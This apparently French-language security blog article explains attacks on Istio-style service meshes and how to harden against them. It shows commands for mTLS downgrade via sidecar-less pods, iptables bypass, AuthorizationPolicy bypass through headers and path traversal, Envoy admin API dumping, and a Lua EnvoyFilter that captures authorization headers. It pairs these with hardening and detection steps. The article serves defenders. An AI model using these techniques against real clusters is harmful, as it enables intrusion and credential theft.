Expert Cybersécurité & IA
Techniques de Hacking / Service Mesh

Service Mesh Exploitation : Attaques sur Istio, Linkerd et Envoy

Par Ayi NEDJIMI15 février 2026Lecture : 45 min
#ServiceMesh#Istio#Envoy#Linkerd#mTLS#Kubernetes

Auteur : Ayi NEDJIMI    Date : 15 février 2026


Introduction au Service Mesh

Les service meshes (Istio, Linkerd, Consul Connect) se sont imposés comme l'infrastructure de communication standard dans les architectures microservices Kubernetes. En déployant des sidecar proxies (Envoy, linkerd2-proxy) aux côtés de chaque pod, ils promettent le chiffrement mTLS transparent, l'observabilité fine, le traffic management et l'application de politiques d'autorisation. En 2026, plus de 60% des clusters Kubernetes en production utilisent un service mesh.

Cependant, cette couche d'infrastructure ajoute une surface d'attaque significative. Les sidecar proxies deviennent des points de pivot privilégiés, les politiques mTLS peuvent être dégradées, les AuthorizationPolicies contournées par des requêtes malformées, et la configuration du control plane (istiod) peut être détournée pour compromettre l'ensemble du mesh. Cet article analyse en profondeur ces vecteurs d'attaque, avec des démonstrations pratiques sur Istio (le service mesh le plus déployé) et des stratégies de durcissement.


Architecture : Sidecar, Data Plane, Control Plane

Le modèle sidecar

Dans le modèle sidecar, un proxy Envoy est injecté automatiquement dans chaque pod via un webhook d'admission Kubernetes (istio-sidecar-injector). Tout le trafic réseau du pod est redirigé vers le sidecar via des règles iptables injectées par l'init container istio-init. Le sidecar gère le chiffrement mTLS, l'application des politiques d'autorisation, et le routage du trafic.

# Architecture du sidecar injection Istio
# Le webhook mutating intercepte la création de pods
# et injecte automatiquement :

# 1. Init container (istio-init) : configure iptables
#    Redirige tout le trafic vers le sidecar
iptables -t nat -A PREROUTING -p tcp -j ISTIO_INBOUND
iptables -t nat -A OUTPUT -p tcp -j ISTIO_OUTPUT
# Ports interceptés : tout sauf 15000-15999 (admin Envoy)

# 2. Sidecar container (istio-proxy / Envoy)
#    Écoute sur :
#    - 15001 (outbound listener)
#    - 15006 (inbound listener)
#    - 15000 (Envoy admin interface)
#    - 15020 (healthz/stats)
#    - 15090 (Prometheus metrics)

# 3. Identité mTLS : certificat SPIFFE
#    Format : spiffe://cluster.local/ns/{namespace}/sa/{service-account}
#    Émis par istiod, rotation automatique toutes les 24h

# Vérifier la configuration d'un sidecar
kubectl exec -it pod-name -c istio-proxy -- \
  pilot-agent request GET /config_dump | jq '.configs'

# Lister les certificats mTLS actifs
kubectl exec -it pod-name -c istio-proxy -- \
  openssl s_client -connect localhost:15006 -showcerts

Surface d'attaque du service mesh

ComposantVecteur d'attaqueImpact
Envoy Admin API (15000)Accès non authentifié à /config_dump, /clustersFuite de secrets, routage malveillant
istiod (Control Plane)Compromission du CA, injection de configContrôle total du mesh
mTLS PeerAuthenticationMode PERMISSIVE (plaintext accepté)Interception du trafic
AuthorizationPolicyRègles permissives, bypass via headersAccès non autorisé aux services
Sidecar injectionPods sans sidecar (bypass du mesh)Contournement des politiques
EnvoyFilterInjection de filtres Lua/Wasm malveillantsInterception/modification du trafic

mTLS Downgrade Attacks

Le piège du mode PERMISSIVE

Par défaut, Istio configure mTLS en mode PERMISSIVE, acceptant à la fois le trafic chiffré (mTLS) et le trafic en clair (plaintext). Ce mode est conçu pour faciliter la migration, mais de nombreuses organisations ne passent jamais en mode STRICT. Un attaquant ayant compromis un pod sans sidecar, ou ayant la capacité de contourner les règles iptables du sidecar, peut communiquer en plaintext avec n'importe quel service du mesh.

# Vérifier le mode mTLS actuel
kubectl get peerauthentication -A
# Si aucune PeerAuthentication en mode STRICT n'existe
# -> tout le mesh est en PERMISSIVE (vulnérable)

# Exploitation : communication plaintext depuis un pod compromis
# 1. Depuis un pod SANS sidecar (ou avec sidecar désactivé)
kubectl run attacker --image=alpine --restart=Never \
  --overrides='{"metadata":{"annotations":{"sidecar.istio.io/inject":"false"}}}'

# 2. Communiquer directement avec les services en plaintext
kubectl exec attacker -- wget -qO- http://payment-service:8080/api/transactions
# Le service en mode PERMISSIVE accepte la requête plaintext
# -> Pas de vérification d'identité mTLS
# -> Pas d'application de l'AuthorizationPolicy
# -> L'attaquant accède au service comme n'importe quel client

# Durcissement : forcer STRICT sur tout le namespace
apiVersion: security.istio.io/v1beta1
kind: PeerAuthentication
metadata:
  name: strict-mtls
  namespace: production
spec:
  mtls:
    mode: STRICT
# Ou au niveau mesh-wide :
# namespace: istio-system pour appliquer à tout le mesh

Contournement des iptables du sidecar

# Les règles iptables du sidecar peuvent être contournées
# si le pod a les capabilities NET_ADMIN ou NET_RAW

# Depuis un pod compromis avec NET_ADMIN :
# 1. Supprimer les règles de redirection vers le sidecar
iptables -t nat -F ISTIO_INBOUND
iptables -t nat -F ISTIO_OUTPUT

# 2. Communiquer directement sans passer par Envoy
# -> Pas de chiffrement mTLS
# -> Pas de politiques d'autorisation
# -> Pas de logging/observabilité
# Le pod est effectivement "invisible" pour le mesh

# 3. Intercepter le trafic des autres pods sur le même node
# Si les NetworkPolicies ne sont pas configurées
# et que le CNI ne fournit pas d'isolation réseau

# Mitigation : supprimer NET_ADMIN et NET_RAW
apiVersion: v1
kind: Pod
spec:
  containers:
  - name: app
    securityContext:
      capabilities:
        drop: ["ALL"]
      runAsNonRoot: true
      readOnlyRootFilesystem: true

AuthorizationPolicy Bypass

Erreurs de configuration courantes

Les AuthorizationPolicies d'Istio contrôlent quel service peut appeler quel autre service. Cependant, des erreurs de configuration fréquentes permettent de contourner ces politiques :

# VULNÉRABLE : politique trop permissive
apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
metadata:
  name: allow-frontend
  namespace: production
spec:
  selector:
    matchLabels:
      app: payment-api
  rules:
  - from:
    - source:
        principals: ["cluster.local/ns/production/sa/frontend"]
    to:
    - operation:
        methods: ["GET", "POST"]
        paths: ["/api/*"]
# Problème : le wildcard /* accepte aussi /api/../admin
# L'attaquant peut utiliser le path traversal :
# GET /api/../admin/users -> contourne la règle

# VULNÉRABLE : absence de deny-all par défaut
# Si aucune AuthorizationPolicy n'est définie pour un service
# -> tout le trafic est AUTORISÉ par défaut

# Exploitation : contournement via header manipulation
# Certaines AuthorizationPolicies se basent sur des headers
apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
metadata:
  name: internal-only
spec:
  rules:
  - when:
    - key: request.headers[x-internal]
      values: ["true"]
# Un attaquant peut simplement ajouter le header :
curl -H "x-internal: true" http://payment-api:8080/admin

# SÉCURISÉ : deny-all par défaut + allow explicite
apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
metadata:
  name: deny-all
  namespace: production
spec:
  {} # Politique vide = DENY ALL
---
apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
metadata:
  name: allow-frontend-to-api
  namespace: production
spec:
  selector:
    matchLabels:
      app: payment-api
  action: ALLOW
  rules:
  - from:
    - source:
        principals: ["cluster.local/ns/production/sa/frontend"]
    to:
    - operation:
        methods: ["GET"]
        paths: ["/api/v1/products", "/api/v1/catalog"]

Sidecar Injection Abuse

Déploiement de pods sans sidecar

Un attaquant ayant la permission de créer des pods dans un namespace avec injection sidecar peut désactiver l'injection via des annotations, créant un pod qui opère en dehors du service mesh et échappe à toutes les politiques de sécurité :

# Créer un pod sans sidecar dans un namespace mesh-enabled
apiVersion: v1
kind: Pod
metadata:
  name: stealth-pod
  namespace: production
  annotations:
    sidecar.istio.io/inject: "false"  # Bypass sidecar injection
spec:
  containers:
  - name: attacker
    image: alpine
    command: ["sleep", "infinity"]

# Ce pod :
# - N'a pas de sidecar Envoy
# - Peut communiquer en plaintext avec tous les services
# - N'est pas soumis aux AuthorizationPolicies
# - N'apparaît pas dans les traces Istio (invisible)
# - Peut effectuer du network scanning librement

# Mitigation : bloquer la désactivation du sidecar via OPA/Gatekeeper
apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sIstioSidecarRequired
metadata:
  name: require-sidecar
spec:
  match:
    kinds:
    - apiGroups: [""]
      kinds: ["Pod"]
    namespaces: ["production", "staging"]
  parameters:
    # Bloquer l'annotation sidecar.istio.io/inject: "false"
    allowedAnnotations: []

Envoy Configuration Exploitation

Admin API Envoy (port 15000)

L'interface d'administration d'Envoy écoute par défaut sur le port 15000 et est accessible depuis le pod. Un attaquant ayant compromis le container applicatif peut accéder à cette interface pour extraire la configuration complète, incluant les certificats mTLS, les endpoints des services et les secrets.

# Depuis un container compromis dans un pod avec sidecar :

# 1. Extraire la configuration complète d'Envoy
curl -s localhost:15000/config_dump | jq '.'
# Contient : tous les certificats, toutes les routes,
# tous les endpoints, toutes les politiques

# 2. Lister tous les services découverts
curl -s localhost:15000/clusters | head -50
# Révèle tous les services du mesh et leurs endpoints

# 3. Extraire les certificats mTLS
curl -s localhost:15000/certs | jq '.'
# Certificats SPIFFE avec dates d'expiration

# 4. Modifier la configuration Envoy en temps réel
# (si l'admin API n'est pas en read-only)
curl -X POST localhost:15000/logging?level=trace
# Active le logging détaillé -> fuite d'informations

# 5. Utiliser EnvoyFilter pour injecter du code malveillant
apiVersion: networking.istio.io/v1alpha3
kind: EnvoyFilter
metadata:
  name: malicious-filter
  namespace: production
spec:
  configPatches:
  - applyTo: HTTP_FILTER
    match:
      context: SIDECAR_INBOUND
    patch:
      operation: INSERT_BEFORE
      value:
        name: envoy.filters.http.lua
        typed_config:
          "@type": type.googleapis.com/envoy.extensions.filters.http.lua.v3.Lua
          inline_code: |
            function envoy_on_request(handle)
              -- Exfiltrer les headers d'autorisation
              local auth = handle:headers():get("authorization")
              if auth then
                handle:logInfo("EXFIL: " .. auth)
              end
            end

Détection et Hardening

Checklist de durcissement Istio

Durcissement du Service Mesh

  • mTLS STRICT : Appliquer PeerAuthentication en mode STRICT sur tout le mesh (mesh-wide dans istio-system)
  • Deny-All par défaut : Déployer une AuthorizationPolicy vide (deny-all) dans chaque namespace, puis ouvrir explicitement
  • Bloquer les pods sans sidecar : Utiliser OPA/Gatekeeper pour empêcher la désactivation de l'injection sidecar
  • Sécuriser Envoy Admin API : Configurer meshConfig.defaultConfig.proxyAdminPort: 0 pour désactiver l'admin API
  • Restreindre EnvoyFilter : RBAC Kubernetes strict sur les EnvoyFilter (seulement les admins mesh)
  • Network Policies : Appliquer des NetworkPolicies en complément du mesh pour la défense en profondeur
  • Rotation des certificats : Réduire la durée de vie des certificats mTLS (1h au lieu de 24h pour les environnements sensibles)
  • Audit des configurations : Scanner régulièrement avec istioctl analyze et des outils comme Checkov
  • Capabilities minimales : Supprimer NET_ADMIN et NET_RAW de tous les containers applicatifs
  • Monitoring Kiali/Grafana : Alerter sur le trafic plaintext, les connexions refusées et les anomalies de latence
# Détection des anomalies dans le service mesh

# 1. Identifier les pods sans sidecar dans les namespaces mesh
kubectl get pods -A -o json | jq -r '
  .items[] |
  select(.metadata.labels["sidecar.istio.io/inject"] != "false") |
  select(.spec.containers | map(.name) | index("istio-proxy") | not) |
  "\(.metadata.namespace)/\(.metadata.name)"'

# 2. Vérifier le mode mTLS effectif pour chaque service
istioctl x describe pod frontend-abc123 -n production
# Vérifie si le trafic est bien en STRICT

# 3. Scanner les AuthorizationPolicies pour les erreurs
istioctl analyze -A --output json | \
  jq '.[] | select(.code | startswith("IST0"))'

# 4. Requête Prometheus pour détecter le trafic plaintext
sum(rate(istio_tcp_connections_closed_total{
  connection_security_policy="none"
}[5m])) by (destination_workload, source_workload)
# Si cette métrique est > 0, du trafic plaintext traverse le mesh

# 5. Alerter sur les EnvoyFilter créés/modifiés
kubectl get events -A --field-selector reason=EnvoyFilterCreated
# Configurer un webhook pour alerter sur toute modification

Conclusion

Les service meshes comme Istio ajoutent une couche de sécurité significative aux architectures microservices, mais ils ne sont pas une solution de sécurité plug-and-play. Sans configuration rigoureuse, ils peuvent même créer une fausse sensation de sécurité en laissant croire que le mTLS et les politiques d'autorisation sont actifs alors que le mode PERMISSIVE et l'absence de deny-all par défaut laissent la porte grande ouverte.

Les organisations déployant un service mesh doivent :


Ressources et références

Ayi NEDJIMI

Ayi NEDJIMI

Expert en Cybersécurité & Intelligence Artificielle

Consultant senior avec plus de 15 ans d'expérience en sécurité offensive, audit d'infrastructure et développement de solutions IA. Certifié OSCP, CISSP, ISO 27001 Lead Auditor et ISO 42001 Lead Implementer. Intervient sur des missions de pentest Active Directory, sécurité Cloud et conformité réglementaire pour des grands comptes et ETI.

Passez à l'Action

Nos consultants certifiés réalisent des audits de sécurité Kubernetes et service mesh en simulant les techniques présentées.

Demander un Devis Personnalisé

Références et ressources externes

  • OWASP Testing Guide — Guide de référence pour les tests de sécurité web
  • MITRE ATT&CK T1557 — Adversary-in-the-Middle — Service Mesh
  • PortSwigger Academy — Ressources d'apprentissage en sécurité web
  • CWE — Common Weakness Enumeration — catalogue de faiblesses logicielles
  • NVD — National Vulnerability Database — base de vulnérabilités du NIST
Ayi NEDJIMI

Ayi NEDJIMI

Expert en Cybersécurité & Intelligence Artificielle

Consultant senior, certifié OSCP, CISSP et ISO 27001 Lead Auditor. Plus de 15 ans d'expérience en pentest, audit et solutions IA.

Besoin d'une expertise en cybersécurité ?

Protégez votre service mesh contre les attaques avancées

Nos Services